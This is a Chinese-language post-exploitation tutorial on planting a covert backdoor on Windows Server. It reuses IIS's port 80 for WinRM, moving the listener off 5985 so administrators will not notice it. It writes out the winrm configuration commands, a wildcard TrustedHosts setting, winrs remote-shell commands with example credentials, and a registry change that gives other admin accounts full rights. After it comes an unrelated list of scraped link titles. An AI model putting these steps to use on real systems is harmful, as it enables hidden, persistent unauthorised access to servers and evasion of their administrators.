0x01 简介

该后门的基本原理是使用Windows 的远程管理管理服务WinRM,组合HTTP.sys驱动自带的端口复用功能,一起实现正向的端口复用后门。

具体细节信息请参考:https://paper.seebug.org/1004/

0x02 复现

2.1 环境信息

此次的后门连接是需要目标服务器的高权用户的明文密码的,需要先抓取相应的明文密码才可部署后门:

首先查看目标服务器时候能够正常使用WinRM服务:

在Windows 2012以上的服务器操作系统中,WinRM服务默认启动并监听了5985端口。

对于Windows 2008来说,需要使用命令来启动WinRM服务,快速配置和启动的命令是winrm quickconfig -q,这条命令运行后会自动添加防火墙例外规则,放行5985端口。

2.2 复用80端口

目标服务器本身是存在IIS服务器的,开放端口也是默认的80端口:

对于原本就开放了WinRM服务的机器来讲,需要保留原本的5985端口listener,同时需要新增一个80端口的listener,这样既能保证原来的5985端口管理员可以使用,我们也能通过80端口连接WinRM。

使用下面这条命令即可新增一个80端口的listener

winrm set winrm/config/service @{EnableCompatibilityHttpListener="true"}

对于安装Windows 2012及以上版本操作系统的服务器来讲,只需要这一条命令即可实现端口复用。

这种情况下,老的5985端口listener还保留着:

当目标服务器上,本省并未启用WinRM服务的话,那么需要把默认的5985端口修改成web服务端口80,否则管理员上来看到一个5985端口就可能起疑心。

通过下面这条命令即可修改端口为80

winrm set winrm/config/Listener?Address=*+Transport=HTTP @{Port="80"}

这种情况下,管理员查看端口也看不到5985开放,只开放80端口:

经过配置之后,WinRM已经在80端口上监听了一个listener,与此同时,IIS的web服务也能完全正常运行。

2.3 后门的使用

本地需要连接WinRM服务时,首先也需要配置启动WinRM服务,然后需要设置信任连接的主机,执行以下两条命令即可

winrm quickconfig -q
winrm set winrm/config/Client @{TrustedHosts="*"}

开启WinRM客户端后,使用winrs命令即可连接远程WinRM服务执行命令(这里的账号密码即是目标服务器本地存在的用户)

winrs -r:http://192.168.126.133 -u:administrator -p:admin123. ipconfig

上述命令会在远程机器上执行ipconfig命令,获取结果后直接退出

将ipconfig命令换成cmd即可获取一个交互式的shell:

winrs -r:http://192.168.126.133 -u:administrator -p:admin123. cmd

0x03 非管理员用户

WinRM服务是受UAC影响的,所以本地管理员用户组里面只有administrator可以登录,其他管理员用户是没法远程登录WinRM的。要允许本地管理员组的其他用户登录WinRM,需要修改注册表设置。

reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f

修改后,普通管理员登录后也是高权限。

0x04 参考链接

https://paper.seebug.org/1004/

[后渗透]Windows server 80端口复用后门的更多相关文章

  1. Windows下80端口被占用的解决方法(SQL Server)

    查找80端口被谁占用的方法 进入命令提示行(WIN+R 输入 CMD),输入命令 netstat -ano|findstr 80 (显示包含:80的网络连接) ,就可以看到本机所有端口的使用情况,一般 ...

  2. Windows下80端口被pid为4的System进程占用解决方法

    前言 之前是Windows 7系统,前段时间装了Windows 10,php环境还没来得及搭建.今天折腾了一下,是用nginx+php,端口是80(已经停止了iis服务),nginx就是起不来,十之八 ...

  3. Windows下80端口被进程System占用的解决方法

    最近电脑时不时就发生了80端口被占用的情况,简单百度解决后,当重启电脑的时候又发生被占用的情况.今天非常幸运的是,发生了80端口和8080端口都被占用了情况,忍无可忍决定下定决心解决这个坑爹的问题,经 ...

  4. 如何关闭windows server2012 80端口

    Windows Server禁用本地端口的两种方法 这篇文章主要介绍了Windows Server 2008 禁用本地端口的两种方法,本文讲解了通过Windows防火墙禁用端口.通过IP安全策略禁用端 ...

  5. Windows下80端口被进程System&PID=4占用的解决方法

    我的占用原因是 SQL Server Reporting Services,停止掉这个服务并设置其为手动启动即可 如果你并没有安装 SQL Server,请参考下文解决 =============== ...

  6. nginx windows 代理 80端口 500

    今天准备配置一个nginx 用来代理80端口分别访问.net core 和spring boot 服务器 配置使用的最基本的代理配置 #user nobody; worker_processes 1; ...

  7. 解决windows系统80端口被占用问题(转)

    在windows下部署web应用(80端口),启动时提示bind 80端口失败 检查端口占用: netstat -ano | findstr 0.0.0.0:80 发现System进程 (pid=4) ...

  8. 解决windows系统80端口被占用问题

    在windows下部署web应用(80端口),启动时提示bind 80端口失败 检查端口占用: netstat -ano | findstr 发现System进程 (pid=4) 占用了端口 然而本机 ...

  9. windows的80端口被占用时的处理方法

    1.利用jfinal极速开发时,显示异常,80端口被占用. 2.win+R输入cmd打开黑窗口. netstat -ano | findstr 3.发现进程被占用,输入以下指令停止http服务 net ...

随机推荐

  1. 前端1-----CSS层叠样式表了解,css的引入方式,三大选择器(标签,类,id),高级选择器

    前端1-----CSS层叠样式表了解,css的引入方式,三大选择器(标签,类,id),高级选择器 一丶CSS简介    叠样式表(英文全称:Cascading Style Sheets)是一种用来表现 ...

  2. maven下载,上传设置

    <settings xmlns="http://maven.apache.org/SETTINGS/1.0.0" xmlns:xsi="http://www.w3. ...

  3. mybatis关联映射多对多

    项目开发中,多对多关系也是非常常见的关系 在数据库中创建表的脚本 table.sql CREATE TABLE tb_user( id INT PRIMARY KEY AUTO_INCREMENT, ...

  4. git 从远程克隆代码并实现分支开发,合并分支,上传本地代码到远程

    首先确认你已经安装了git 1.克隆远程代码到本地的操作 git clone 地址   打开git操作命令行 鼠标右键点击        复制需要克隆的项目的地址类似下面的ssh     输入命令进行 ...

  5. Android源码分析(二)-----如何编译修改后的framework资源文件

    一 : 编译framework资源文件 如果修改android framework资源文件,需要先编译资源文件,然后再编译framework才可以正常引用, 进入项目目录 cd work/source ...

  6. 转 根据CPU核心数确定线程池并发线程数

    转自: https://www.cnblogs.com/dennyzhangdd/p/6909771.html?utm_source=itdadao&utm_medium=referral 目 ...

  7. RxJS——订阅(Subscription)

    订阅(Subscription) 什么是订阅?订阅是一个对象,它表示一个处理完就释放(disposable)的资源,是 Observable 的一个执行程序.订阅有一个很重要的方法,unsubscri ...

  8. AES加密解密工具类封装(AESUtil)

    package club.codeapes.common.utils; import org.springframework.util.Base64Utils; import javax.crypto ...

  9. Ansible-ansible命令

    Ansible是用于执行"远程操作"的简单工具.该命令允许针对一组主机定义并运行单个任务剧本. 常用选项 说明 --ask-vault-pass 请求保险库密码 --become- ...

  10. 关于IE环境下按回车键会自动触发button 按钮的点击事件的解决方案

    今天项目中遇到IE不兼容的问题,于是就根据问题进行修改,修改过程中发现,在输入框内用扫码枪扫描东西后会自动执行页面下面的button按钮,但是其它浏览不会出现这样的问题. 解决方案: 1.用a标签 2 ...